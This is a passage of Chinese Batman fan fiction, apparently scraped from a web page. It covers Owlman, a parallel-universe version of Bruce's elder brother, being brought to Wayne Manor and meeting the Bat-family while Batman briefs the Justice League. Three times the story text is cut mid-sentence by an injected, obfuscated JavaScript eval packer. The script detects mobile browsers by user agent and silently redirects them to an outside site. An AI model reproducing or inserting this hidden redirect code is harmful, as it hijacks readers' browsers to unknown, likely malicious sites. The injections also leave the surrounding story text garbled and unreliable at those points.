长而陡翘的屋檐上,夜枭也若有所觉地抬起头看向天空。然后他又回过头,无声地和蝙蝠侠对视片刻,开口说道:“看来你有工作要忙,还有闲暇能够浪费在我身上吗?” 顿了顿,他又问:“今天晚上你的助手在哪?” 布鲁斯没回答,事有轻重缓急。 他从楼顶一跃而下,遥控出蝙蝠车接住自己,朝着警局方向疾驰而去了。 ** 等蝙蝠侠离开以后,我在街头随机抽取了一位幸运流浪汉。他在得知我只是想问问题时大松一口气,倒豆子似的科普了一堆不知真假的故事、和绝对不可能是真事的都市传说,成功树立出蝙蝠侠能把六英尺壮汉吓进医院的伟岸形象。 至少我终于知道天上那盏灯的名字和用处了。 但讲道理,蝙蝠侠离开得太干脆,我差点没反应过来,而且冷不丁得到自由还有点不适应。 蝙蝠侠有帮手,说不定过会儿会来,一想到要和不知身份的……蝙蝠阵营人士打交道,我就感觉自己多年未曾治愈的社交障碍变得更加严重。再加上蝙蝠灯召唤效果立竿见影,哥谭义警临走前几乎都没犹豫,事有轻重缓急,我就是在脑门上大写了一个‘缓’字,以至于现在实在很想去会会他的另外目标,看其他反派‘急’在什么地方,顺便让他们再也急不起来。 总之等我反应过来的时候,我距离哥谭警局只有不到八百米,都能看见蝙蝠灯平台上正在交流的两个人了。 …… 冲动是魔鬼。 我过来图什么的? 趁机跑远点不好吗?有这时间买张机票,人都飞出美国了。 在蝙蝠侠看见我之前,我陡然停下脚步迷途知返,原地犹豫一番,去街头自助贩卖亭拿走一张报纸,寻找到附近的露天公园坐了下来。 半个小时之后我看完新闻的第一段,大约也就三百个字。 同时我一心两用思维清醒,熟练地根据脑海中的哥谭地图和蝙蝠侠的行进速度、估算出他现在所在的大致地点。 …… 从根本不干正事的角度来看,我思维也不是很清醒。 一个小时后我坚决地把报纸翻过一页,忽然听见了熟悉的引擎声。蝙蝠车从我身前的小路上直冲而过掀起大片尘土,差点把我带着手套的手里捏着的报纸吹飞。三秒钟后它突兀地来了个急刹车,我将报纸稍微放下来点,想了想问道:“需要帮忙吗?” 这是一句礼貌的废话。 我从来不喜欢别人插手城市管理,推己及人,蝙蝠侠应该也是如此。更何况我身份不明还能完美融进反派堆里,无论如何都摘不下身上那个‘缓’字。 果然蝙蝠车减速后又加速,眨眼间就消失不见了。 我心想我应该换个地方,不然下次蝙蝠侠还走这条路,我们再见到彼此实在让我有点尴尬。我自己今天晚上各种想法纷乱繁杂,做事有失常理,别人又不知道,难免显得我像个猎人停手之后非要驻足回头看的西伯利亚狍。 以哥谭警局为圆心,我绕行到海岛的另一侧,蹲在了某座废弃高架桥的栏杆上。 凌晨两点钟左右,我看完了手头的报纸,将其中有著名慈善家、商人、科学家、政治家等等称谓的莱克斯·卢瑟发表演说并附上照片的那一页仔细折叠好收起来——虽然不知道有什么用——觉得这个连发量都要反转的世界真是严谨得可怕。 正当我准备再去找之前的报纸依照日期倒叙阅读时,蝙蝠车以雷霆之势冲上高坡,同我擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064581|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩而过之后撞碎栏杆,三百六十度回旋后精准落地,无事发生般地向前驶去。 我忍不住抬头看了眼拦路牌,确认这的确是条正在施工中的桥梁。 尽管蝙蝠侠这次停都没停,但他没看见我的概率和我没看见维修牌的概率是一样的。 …… 只要我不尴尬,尴尬的就是别人。 去他妈的。 这次我决定停留在原地,并且不准备将精力投入到阅读中去了。我居高临下地俯瞰周围这片地域,拿出我管理另一座哥谭时的严谨态度,将所有违规跑上维修街道的犯罪分子扼杀在桥头。天色蒙蒙亮时,又一个奇形怪状还有点眼熟的人从我身前狂奔而过,我条件反射地单手扯住他的手臂往身前一拉,在他踉跄着弯腰的刹那用另一只手肘击打他的后颈。 他和他数个前辈一样悄无声息地倒了下去。 在这个具有哥谭主义特色的后半夜,我脚边已经躺了一圈妖魔鬼怪。 然后我才发现我刚才解决的那位,身后还跟着蝙蝠侠。 我:“……” 蝙蝠侠:“……” 他想必也是觉得有点尴尬的。 为避免误会,我后退两步给他检查俘虏的时间。蝙蝠侠将其中一个罪犯翻过来,我知道我之前为什么会觉得眼熟了,这家伙的风格和我在哥谭的‘老朋友’之一对得上号。 人太多了,虽然剩下的都是小喽啰,但地位不决定体型,蝙蝠车依旧装不下。蝙蝠侠打电话叫警察局长接人,这里离警局很近,警笛声就没断过,他们很快会赶过来。 黑暗骑士的目光终于落在我身上。 仿佛一个无需言明的默示,我就意识到漫长的夜晚快要结束了。 我是那个‘缓’,我是最后一个。 没有我的世界,太阳会在哥谭升起。 这一刻我蓦地失去了逃跑的兴致。之前街边流浪汉和我描述那么多蝙蝠侠的可怕之处,他代入了被审判一方的视角想要引起我的共鸣,但我听到后来就只意识到,蝙蝠侠的敌人在阿卡姆、在黑门监狱、在哥谭深埋的阴影中,唯独没有化作亡魂缠绕于他身上。 蝙蝠侠不杀人。 那恐怕我也没有成为特例的殊荣。 ** 周围没有楼房遮挡,第一缕阳光照在他们身上时,布鲁斯听见夜枭问道:“结束了?” 时间不留给漂泊在异乡的旅客,他裸露在外侧的下颚上已经生出淡青色的胡茬,脸颊上还留有干涸的血迹。有那么一会布鲁斯觉得自己像在照镜子:蝙蝠侠打量镜子里的人,看到与镜外如出一辙的衰败与疲倦。 “结束了。”他回答。 他们默契地没有提起今夜发生的一切混乱和偶遇,以及结尾出人意料又在情理之中的帮助。而且,哪怕在这暖洋洋的时刻,布鲁斯知道对方心中一定转悠着现在他正在思考着的、某个冰冷的想法—— 夜枭将双手举到肩膀位置,清晨已经是猫头鹰进入休息的时间了,他缓慢地说:“不管你打算把我关到什么地方,最好能有张床。” “蝙蝠洞里没有床。”布鲁斯答道,“但是如果有需要,我可以叫人给你搬过去一张。” 11. 蝙蝠洞是个专有名词 蝙蝠洞里当然没有床,但是他们有医用手术台。 当夜翼把那张饱就风霜的金属台推到房间一角停下来时,夜枭盯着它看了两秒钟没说什么,然后象征性地抱起手臂、靠在支架与墙壁之间的空隙处。 蝙蝠侠跟在他身后走进蝙蝠洞,保持不远不近的距离,没有像往常一样立刻脱下制服——或者至少摘下头盔。但要迪克来说,工作期间的布鲁斯就是在空无一人的房顶上也会坚持使用代号,现在他要把自己的习惯带到家里来,仿佛预示着事情在变得越来越糟糕。 但有什么办法呢?夜枭不是普通敌人,来自平行宇宙的对手本来应该由整个正义联盟负责,可是猫头鹰和蝙蝠又同样属于哥谭,布鲁斯就只能把自己……血缘上的兄弟带回蝙蝠洞。 “我也有个弟弟。”之前芭芭拉神情凝重地说,“相信我,迪克,有时这不是什么好事。” 这种说法似乎已经通过蝙蝠家几个兄弟之间复杂的关系得到了证实。 不过夜枭又不太一样。 达米安对自己突然冒出的叔叔怀着很深的成见,他这会在楼上睡觉,成功避免了一场战争。杰森承认猫头鹰先生是个难缠角色,虽然他还挺喜欢那枚古董银币的。这两人的看法证明布鲁斯对夜枭危险性的判断并未出错,问题在于,这家伙对于同‘布鲁斯·韦恩’相关的人事处处忍让,已经超过了普通兄弟感情的范畴。 布鲁斯觉得那是愧疚和逃避。 他经常同这两种情绪打交道。 蝙蝠侠不换衣服,夜枭靠着墙一动不动、像立在树梢上的鸟,其他人就只能陪在他们俩旁边充当漫画背景板。提姆偷偷打了好几个哈欠,直到阿尔弗雷德从楼梯上走下来问道:“老爷,以及各位,请问你们是打算在睡觉前吃晚饭,还是在起床后吃早饭?” 迪克几乎要站起来高呼‘阿尔弗雷德万岁’了。 本页分镜的两位主人翁同时转过头,阿尔弗雷德顿时沐浴在两道相似又不同的目光下。夜枭的靴子撞在手术台的支撑腿上,发出一声闷响。蝙蝠侠条件反射地又去看他。 夜枭飞快地将眼神从老管家身上收回来:“你们用我的血液做DNA测试?有什么结果?” 否则身份不明的情况下,他根本不会被带到蝙蝠洞。蝙蝠侠对掩盖真实身份的需求比他高得多,而阿尔弗雷德光明正大出现在“客人”面前,证明他们相信他不会到处乱说、或者能够确保他没有机会泄密。 “‘小托马斯·韦恩’。”布鲁斯回答,“他在布鲁斯·韦恩四岁那年降临到这个世界。” 夜枭的面部肌肉绷紧了。迪克注意到他正在不自觉地磨动自己的牙齿,这点情绪焦虑时的小特征和布鲁斯一模一样。 “什么?”他问,“我才应该……噢,原来如此。”夜枭反应过来,若有若无的哼笑了一下,“这个也是反过来的。” 不过,不管怎么说,现实还比他的猜想好上一点——他想过,如果这个平行宇宙根本没有小托马斯·韦恩怎么办?如果是他的到来才给这个家庭带来灾厄呢? 现在,他的存在得到了合理性证明……韦恩夫妇确实有两个孩子,而不是他穿越令三口之家多了一位陌生客。可这又强倒哪里去?尽管理智上明白反转宇宙的发展无法参照主宇宙,他仍然想象过去假设活下来的人是布鲁斯,一切会不会变得更好。 “这是什么意思?”布鲁斯顿时生出各种想法。夜枭没反驳小托马斯这个名字,但他说‘反过来的’是指什么?刚才对话里的哪个名词是有反义词的?名字,身份……年龄?夜枭觉得他应该比另一个‘布鲁斯’年纪更大? 夜枭摇摇头没回答,抬手将自己的头盔摘了下来。 他脑后的黑发还粘着血,但似乎已经被主人遗忘了,直到手指触及才意识到伤口尚未包扎。 钝痛是一种迟缓的、极容易在适应后忽视的感受,越长久地同它相处,就越会将它视作身体的一部分,直到某日因它而死。 布鲁斯屏住呼吸感受心脏的鼓噪,他以为自己会回想起玛莎……想起致使玛莎第二个儿子死亡的那场车祸,想起母亲卧在病床上因痛苦而流淌出的眼泪。 但他其实什么也没想。他只是取下面具,调整呼吸,然后像是面对一个难以击败的对手那样坚定地回看了过去。 小托马斯·韦恩的瞳孔在与布鲁斯对视时发生变化。 片刻之后,他难以忍受般地移开了视线。 这是场轻松的胜利,可是蝙蝠侠并不为此感到愉快。 ** 我本来以为蝙蝠洞里会有囚室,或者至少这是个远离人烟、鲜少有人知晓的安全屋。结果蝙蝠侠开车回来时,行车路线十分眼熟,我百分百肯定就算我们的目的地不是韦恩庄园,至少也在它百码之内。这和我设想的发展有些出入,一路上欲言又止,但最后还是克制住坐在副驾驶上没有动。 这时必须要再沉痛地反思一下,别人穿越都手握剧本,就算不是细节方方面面了如指掌,好歹也知道基础设定,而到了我这里就只剩下从零开始的异世界反派生活。由于两个宇宙之间很多地方相反,我就像一个中国人在读日语汉字,好像懂了又没完全懂,熟悉一个地方又不是很确定,有时候和蝙蝠侠交流一句话能衍生出八百种错误理解方式。 幸好我还听说过蝙蝠侠。 不幸的是蝙蝠侠等于布鲁斯·韦恩。 我真不想承认,我已经将这种可能性无视得够久了。但当他换下制服的时候,就算当场变成纸片人,或者升成四维生物,我也能认出这是我的兄弟。我想我当年觉得布鲁斯·韦恩这个名字耳熟时应该更坚定一点——人们可能会把克苏鲁记成克鲁苏或者特仑苏,但这也彰显了某种预兆。 我在四岁布鲁斯出生那年就应该听见丧钟鸣响,却只能在悲剧发生后才回想起早已给出的提示。 猫头鹰是为数不多不会自己筑巢的鸟类。 它们会去寻找废弃的巢,侵占敌对鸟类的家园,走进对手的领地……就像我对待韦恩夫妇和哥谭□□。 而布鲁斯将我领进他城堡的地底,让我心中产生了一点畏惧。我感觉我正在靠近他,可是这是正确的吗? 另一方面,我现在知道BatCave是个专有名词。我还知道他有个管家是阿尔弗雷德·潘尼沃斯,这是理所当然的,并且他还有不止一个助手,这也……呃。 我理想中的情况:我被蝙蝠侠带到随便什么地方,最好他能有点人道主义精神让我先睡上一觉,起床之后我们再探讨如何处置我自己。 实际的情况:布鲁斯带我去他家里,阿尔弗雷德和其他我没见过的年轻人用隐蔽而稀奇的眼神打量我,我得花点功夫才能确认他们不都像罗宾一样是蝙蝠侠的儿子……大概不是,应该不是,除非他们有不同的母亲……算了。 反转宇宙是连带家族人数都一起安排的吗? 如果真是如此,我习惯了我孤家寡人的人设,只希望理查德能好好活下去。 至于眼下的情况,我宁可被蝙蝠侠关在牢里了,也好过他用正常的声音和客气的、应酬的语气对我指出浴室在哪,以及:“你要来点吃的吗?阿尔弗雷德的土豆派很正宗。” …… 前面说过我一般是不用刻意隐藏身份的,很多人都知道夜枭就是小托马斯·韦恩,我不带着面具的时候用不着伪装出另一个社交身份——我几乎不和普通人平等交流。 自闭选手是这样的。 但布鲁斯不是,他显然精于此道,在两个身份之间转换得流畅自如。当他觉得需要以哪一面示人时,哪些特质就会显露出来。他需要沟通而不是恐吓与威胁,布鲁斯·韦恩就出现了。 可是我没法用夜枭的面目和布鲁斯对话,我也根本不记得自己当年是什么样子。 我猜我这时候一定表现得高度戒备。因为布鲁斯看了我一眼,善解人意地后退两步说道:“或者等明天,唔,今天午后再说。你希望待在蝙蝠洞吗?” 我不去直视他的面孔:“或者?” “阿尔弗雷德会收拾出来一间客房。” “我不觉得我取得了你们的信任。” “坦白地说,我也不觉得。所以无论你选择睡在什么地方,我会安排人时刻注意。” 我耸耸肩:“那就怎么方便怎么来。” 于是简单地休整过后,我告别了手术台。 并得到一间和蝙蝠侠卧室相邻的客房临时居住权。 蝙蝠洞是个陌生环境,它展示的是我所未见过的、蝙蝠侠的成长过程,我试图去辨析每一样物件背后有着怎样的深刻意义,但正如一棵根系生出的两根枝丫无法碰头,我无法揣测我不了解的东西。 韦恩庄园就不同了,我闭着眼睛都知道楼梯该往哪个方向走。 我是说,这种东西肯定没必要反转吧! 于是那种令人恐惧的熟悉感再次又归来了。我跟在布鲁斯身后,走到长廊拐角时他脚步顿住,我下意识问道:“上楼?” “不是。”路的尽头墙壁上挂着一幅韦恩夫妇的旧照片,我只瞥了一眼就略过去了,布鲁斯倒是凝视了它几秒钟,然后说道,“去拿点吃的……在你那里,你的父母是不是还活着?” 他真敏锐。 “他们死了。”我实话实话,难免带出点漫不经心,“我很遗憾。” “没事。”他点点头,显得若有所思。 我没料到他的反应,又一次认真打量那张合照,不知道是不是心理作用,这次忽然从他们眼中看到我从未见过的柔情与爱意。 啊……我明白过来,这是第二件我没有仔细思考的事情。 韦恩家是不同的。 那么具体到个人,韦恩夫妇,我另一个世界的父母,当然也是不同的。我熟悉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064582|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韦恩夫妇一个是毫无主见的废物,一个是自以为是的虐待狂,即使这样,布鲁斯也愿意为他们而死。 即使这样,他宁愿和他们一起死,而不是留下来同我一路。 这里,蝙蝠侠的父母是一对正直善良的人,任何有良知者都会为他们的离去感到悲伤。 我和照片里的玛莎与托马斯对视了很长时间,并隐约从他们身边看到另一道身影。 蝙蝠侠站在我身边,也仰着头,发出一声轻轻的叹息。 …… 直到我们走进厨房都没有再次展开对话了。 ** “我永远喜欢阿尔弗雷德的土豆派。”身穿常服的迪克带着手套,弯腰从烤箱里拿出加热好的成品,“‘英国人的晚餐里必须有土豆’,这句话说不定就写在他们的宪法里。” 他说完,没等到任何一人的回应,不由得直起腰回头:“先生们,你们已经累得说不出话来了吗?” 夜枭……小托马斯·韦恩坐在长桌旁面无表情,美苏冷战的氛围莫过于此。 布鲁斯看上去就平和多了,迪克知道他在某些时候可以表现得相当圆滑,毕竟那些姑娘们也不是只看在他钱的份上才愿意同哥谭市花花公子春风一度。 只有钱而没有风度的男人只能被称作土大款。 迪克在心中的计分板上写:蝙蝠侠VS夜枭,蝙蝠侠先得一分。 窗外太阳已经升得很高了,但为了照顾两个夜行生物的作息,韦恩庄园的窗帘都拉得严严实实,屋内还点着灯。 他迈着轻快的步伐把烤盘端过去,脱下手套之后对着夜枭伸手:“很高兴认识你,我是理查德·格雷森。” 那双锐利的蓝眼睛抬起来看着他,目光审慎,并不含特别的情绪,只是评估意味很重:“……你好。托马斯·韦恩。” “看来我们不是初次见面。”迪克眨眨眼,对着布鲁斯微笑一下,“我在哪个宇宙和韦恩的关系都不错啊。” 布鲁斯回以‘你知不知道你在说什么’的眼神。 迪克:? “时间不早了。”蝙蝠侠再次展现出快刀斩乱麻的态度,“一会所有人都去休息,我和夜枭上楼,有什么问题四个小时后再说。” 而他刚放下叉子,夜枭差不多就在同一时间停下动作。 迪克差点笑出声。他怀疑这两个人刚才遵循着同一套餐桌礼仪谨慎观察了半天,并选择出相同的合适时刻让自己远离餐桌。虽然夜枭很危险,但这真的非常非常有意思。既然他无法预料到以后会发生的事情,也不能寄希望于令人快乐的事每日降临,那么着眼于当下就格外重要。 “现在,”他清清嗓子问道,“你们要一起上楼了吗?” “晚安。”布鲁斯回答。 他气势惊人地走向楼梯。而迪克不难发现,布鲁斯表现得越‘蝙蝠侠’,夜枭应对他的方式就越自然。 ——人类总是对相似但不同的事物怀有恐惧。 正如布鲁斯望着他的兄弟时会想起父母。 小托马斯会想到另一座墓碑。 令他们恐惧的不是生者,而是亡魂。进一步来说,是他们自己。 ** 楼梯昏暗,只有脚步声沉闷地响起。 韦恩庄园是座百年老宅,这样踏着铺有地毯的木板前进时,仿佛穿过哥谭市的飘摇风雨,见证了一段曲折传递的历史。 而对住户来说,多层建筑除了让你半夜口渴想要喝水的时候变得格外麻烦,实际上没什么好处。不管是蝙蝠侠还是夜枭对此想法都差不多,建筑物是空洞的,建造者与居住其中的人才赋予了它意义。 布鲁斯正在思索,有关于两个世界的联系,那些可能截然相反的发展,还有小托马斯、迪克、阿尔弗雷德…… 然后他听见夜枭在他身后说道:“我认识阿尔弗雷德·潘尼沃斯。他是个英国人,厨艺比较勉强。”停顿了一下,他继续说,“不过我想,阿尔弗雷德会赞成理查德的说法。” 布鲁斯愣了一下才反应过来,夜枭指得是那句‘宪法规定英国晚餐必须有土豆’。 他险些扬起嘴角,就因为这个冷笑话,和笑话里的熟悉感。 有点像出门在外碰见的同乡人,说了个只有在同一地区、同一时代、认识同一群人的人才能听懂的吐槽。 哪怕他前一秒还在为此忧虑。 “你应该在他面前说。” “认真的吗?阿尔弗雷德会用他的手杖对我开枪。” “不,怎么会?” “那么看来不同的哥谭,不同的阿尔弗雷德,对手杖的用法也不一样。” “说实话,我根本很少见到阿弗拿手杖。” 夜枭露出微妙的、牙疼似的的表情,不过很快就收敛了。 “Godblessme.”这是他走进客房并留下晚安前的最后一句话。 12. 花边新闻时间 你要说我在韦恩家能睡得有多好——那是不可能的。 比起客房我更熟悉主卧,我猜没有哪个韦恩家成员会体会到住自己家客房的感受,我睡前看着床和被子都很新鲜,估计它们看我也是一样。 然后我躺在床上,闭上眼睛:布鲁斯·韦恩。 睁开眼睛:天花板。 闭上眼睛:蝙蝠洞里写满公式的黑板架。 睁开眼睛:边看天花板边想为什么他不用电脑写化学方程式配比。 闭上眼睛:充满潮气的地下洞穴,瀑布流水声,训练架,蝙蝠侠,他的助手们。 睁开眼睛:理查德·格雷森当然不可能是蝙蝠侠亲生的,那穿着红色戴斗篷制服、一直没摘下面具的年轻人是谁?还有罗宾呢?他的母亲在哪里?为什么我还没见过庄园的女主人? 十分钟后我瞪着天花板开始数羊。 以免那上面浮现出布鲁斯和罗宾和他随便哪个助手五官的排列组合。 二十分钟后我尽力回想我上辈子听过的、和蝙蝠侠有关的故事,想象他是怎么从我认识的那个孩子变成英雄的。 三十分钟后,草啊。 我翻了个身,觉得根本睡不着。 我的被子在黑暗里被我拧成一坨不可名状之物。 我和它对视着,昏昏沉沉,既亢奋又委顿,心脏一直比平时跳动得速度快,以至于我能听见脉搏在耳膜震动的声响,脑袋则持续感到接连的阵阵疼痛。我就这么在黑暗中静置,让我自己变成一个无所谓生或死的物体,等到时间过十二点钟,阿尔弗雷德来敲我的房门时,我早已洗漱完毕立刻坐起身来了。 他对我根本和睡前没什么变化的衣着并未做评价,很好地履行着管家的职责,走在前方带领我下楼。不过说实话,我印象中阿尔弗雷德只在干管家的活上完全不称职,他拿着火箭筒瞄准超霸都比他做管家专业,我思考过我们宇宙的韦恩家干嘛要请他来服务,后来想想能在杀人放火上如此在行的服务业人士实在不多见,别人的确比不上。 白天的韦恩家庄园比夜晚要热闹一些。 罗宾不在,我猜想以他的年龄应该需要上学。他们身份隐藏得不错,不至于像我那边的迪克一样头上顶着犯罪头子助手的耀眼光环,所以过上普通人的集体生活也是很正常的……吧。 其实我想到罗宾举着刀杀气腾腾地看着我,不太能想象得出他怎么在校园里和同学相处。难道不会被孤立吗?他用自己侧漏的霸气孤立别人一群那种。 理查德和另一个男孩倒是都在。 蝙蝠侠还没到,我现在对迪克不太感兴趣,他可以放在后面研究,我注意力主要放在后者身上。 注意到我的视线,身高比迪克稍微矮一点、但相貌气质都很出众、一看就出身良好的黑发年轻人站起来自我介绍:“提摩西·德雷克。”犹豫了一下又补充说,“你可以叫我提姆。” 他不姓韦恩。 但这并不能说明什么,万一德雷克是他母亲的姓氏呢? 研究这些不是因为我突然升起给别人当长辈的兴趣,主要是我现在完全不知道怎么和这两个孩子相处。我上辈子的经验在这里实用度为零,我这辈子就知道怎么让下属老实听话地把你分配的活干完。所以说蝙蝠侠为什么不在这?如果他早点出现,我至少可以有个参考。 我们面面相觑,空气里弥漫着淡淡的、没话说的气息。 我收回之前说韦恩庄园白天比较热闹的评价。 过了一会儿,迪克捡起茶几上的遥控器打开了客厅的电视,这个宛若葬礼现场一样的肃穆场面终于插入了主持人的俏皮话、变得有人气起来。 我本来完全没心思看电视。 但是几秒钟之后我突然意识到,电视里放着的是布鲁斯·韦恩的花边新闻。 主持人是个在头上打满发胶的中年男性,由于职业出镜需求身材倒是保持得不错,然而这也掩盖不住他从内到外散发出的油腔滑调之感。不过我很难不把视线放在他身上,因为他正在手舞足蹈地描述一起花花公子布鲁西宝贝(我甚至没叫过我弟弟Brucie)在某次宴会现场的丰功伟绩,生动形象地展示他是怎么搂着两个漂亮姑娘闪亮登场、再在大庭广众之下跳进泳池的。 不过即使是对哥谭而言这也是个旧闻了,主持人更多是调侃那么两句,好像全世界人都知道发生过什么似的,然后用夸张的语气说起富豪的生活有多么令人羡慕,韦恩老爷的近期新艳遇又有多么让人见之动心肠。 他的表情太过投入,连我都不禁开始想象这是怎样一对干柴遇烈火式的旷世绝恋,并为他们真挚的感情与罗密欧朱丽叶式的戏剧化情节动容。唯一的问题是我想这位美丽的姑娘大概不会是在场任意一位年轻人的母亲,希望这里没有家庭关系需要调节。 我对面的理查德和提摩西:…… 之前迪克顺手把遥控器放回在茶几上,现在他们两个的上肢都在蠢蠢欲动,但我在任何人掌握住它之前弯下腰,把遥控器拿在手里。提摩西正襟危坐充满戒备,仿佛嗅到一场不见硝烟的战争,理查德则开始说话以试图转移我的注意力,他问我:“您之前没见过提姆吗?” “没有。”我心不在焉地回答。主持人开始盘点韦恩先生进行过的极限运动,还试图用扒时间表的方式弄清楚布鲁西宝贝究竟是什么时候和他的历任女友相识的、并试图找出他脚踩N条船的证据。 这就是超级英雄的不同之处,如果在我那里有人敢公开讨论我的感情生活——我肯定不会去管,但一定有人为了不惹怒我而选择让这些人闭嘴。 我不会把主持人的胡编乱造当真。 可是有几个人能在自己的亲兄弟死亡之后,隔了数十年,又以这种方式窥见他长大成人后生活的一角呢? 我开始觉得看电视是一项很好的打发时间的活动,只是单独有花边新闻显得不够真实、还有点不礼貌,其中胡编乱造的色彩太过浓重,我承认布鲁斯·韦恩人设塑造得相当成功。 他用这种方式把自己的真实身份和夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064583|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚割裂开来,用声名作为维护正义的代价之一,是我没有设想过的方式。我牺牲精神有限,更多是顺应时势尽力而为,说到底就是得过且过,不得已的时候才会想该怎么抗争。布鲁斯他比我更积极,对这座城市和未来抱有更多期望,我认为是好事。 不管他过去经历什么,生命中仍然有重要的东西值得守护。 我陷入思索时显得有些投入,但愿理查德他们不会觉得我是在借此机会嘲笑蝙蝠侠。 考虑到他们的心理承受能力,我正打算更换频道,楼梯间终于传来脚步声,是韦恩家主人姗姗来迟了。 要说他迟到是因为睡懒觉我是完全不信的。我这个威胁就栖息在他耳畔,蝙蝠侠和我一样整晚睡不着实属正常,我琢磨着他是否已经抽空和正义联盟召开了关于平行宇宙的小型会议,就听见他对我说:“阿尔弗雷德让我告诉你,其实在韦恩家是不用叠被子的……你做了什么?” 他表情带着点困惑。 我:“……” 我想起夜晚被我拧成马赛克的床上用品。今天清晨我有点闲不下来,顺手把它整理一下,看上去有个床品的样子,而不至于被阿尔弗雷德嘲讽说我在卧室里制造献祭仪式或者和外星生物沟通。虽然我做了快三十年的有钱人家大少爷,但整理床铺这种事又不是什么高端技能,当我想的时候,完全可以独立完成。 这和我的阿尔弗雷德担任管家是否称职毫无关系,真的。 然而我觉得其他人也许就此展开了联想。 我理解。蝙蝠侠目前推测我来自反转宇宙,他自然会收集各种蛛丝马迹以试图验证自己的猜想,但是阿尔弗雷德他……算了,如果展开说明的话,我还得解释韦恩家管家为什么在举火箭筒上更胜一筹,那不如就让他们以为我在家政技能上加点比布鲁斯更多。 不过我真切怀疑我们其实半斤八两。 幸好这个话题很快就过去了,布鲁斯紧接着注意到正在播放的电视节目。 主持人似乎已经对韦恩家男主人失去了兴致,他正在评论的人变成了接替布鲁斯成为集团总裁的提摩西·德雷克。我意识到他的评论对象同样也坐在这张桌子旁,并捕捉到主持人谈话间的关键词:“……养子?” 黑发蓝眼的年轻人顿时成为全家人的视线焦点,他完全没预料到这种发展,显得有点不安。我认为他对我的警惕度完全不下于蝙蝠侠,哪怕他以前从未见过我。这点是不是还挺像他养父?所以真不是亲生的? 韦恩企业会交给提姆这点也很有意思,罗宾和他的关系肯定不怎么样,家庭危机只会迟到、不会缺席,除非蝙蝠侠养儿子的手段相当高明。 我有点好奇。 毕竟之前的状况说明我完全不会和晚辈相处,说不定在这点上就反转了呢。 布鲁斯若无其事地拉开椅子在我身边坐下来,仿佛没听见主持人正在暗指他的小儿子达米安早晚有一天会为继承权暗杀自己兄长。 “抱歉我来晚了,你们刚才聊过什么?” 13. 拼图一角 蝙蝠侠的确利用上午时间联络了正义联盟。最糟糕的设想是,这是又一次平行宇宙入侵的前兆。 “反转宇宙。” 蝙蝠侠开口道,“但这只是猜测,还有待进一步确认。” 瞭望塔的方形长桌周围,正义联盟其他成员神色各异,钢骨问道:“你是怎么知道的?他不可能直接告诉你吧?” 虽然蝙蝠侠的能力上限在联盟内部一直是个谜,但自从夜枭意外出现以来,他能比瞭望塔上的钢骨还要迅速地找到对方定位就算了,现在才过去多长时间,连隔壁宇宙特性都能猜出来。如果开挂也请给队友分享一下脚本好吗? 幸好蝙蝠侠没用那个万能答案回复他:BecauseI\''mBatman. “他真名是托马斯·韦恩。”这条情报早就共享过了,蝙蝠侠又强调一次,“最开始我同他相遇时他表现得并不慌张,也不急于寻找离开的方式,但这个世界对他而言很陌生,他准备得不够充分,这与夜枭表现出的性格特征不相符。我认为他是主动来到平行宇宙的,不过由于技术、或者其他因素的限制,对我们缺乏了解。他熟悉哥谭,我能很快找到他是因为一个……巧合。” 哥谭骑士明显没有展开讲讲那个‘巧合’的意思。 戴安娜道:“这本来是个联盟任务,但是你把它揽在自己手里面了。我需要再确认一次,你真的不需要帮助吗,布鲁斯?” “不。”她的朋友很快回答。 “拉奥。”超人的投影——他现在还在宇宙里面没回来呢——在旁边嘀咕道,“我们总算遇见一个可以友好交谈的平行宇宙客人了吗?连蝙蝠侠都对他没意见。” “我不是那个意思。”布鲁斯严厉地看了他一眼,“我仍然建议联盟提高警戒等级,时刻准备应对外界入侵。” “但你说过他对我们没有太大敌意,而且他现在就住在你家里。” 克拉克想象自己会把什么人带到堪萨斯农场:那必然是可以全身心信任的对象,佐德将军之类自己闯进去的反派不算。 “我是这么说过。”蝙蝠侠回答,“不过这里面仍然有很多细节值得推敲。” 比如,如果最开始夜枭不知道蝙蝠侠到底是谁,他为什么要留手? 假设他问心无愧,在得知正义联盟之后更应该选择求助,而不是逃跑。他自然而然地将自己放在了蝙蝠侠和其他英雄的对立面,敌意却很有限。 这个问题直到会议结束仍然困扰着布鲁斯,他觉得小托马斯之所以成为夜枭,背后应当有某种深层次的原因,就像他成为蝙蝠侠的理由一样。一旦能弄清楚,许多疑问就会迎刃而解。 而在蝙蝠家中,不同成员对此也秉持不同态度。 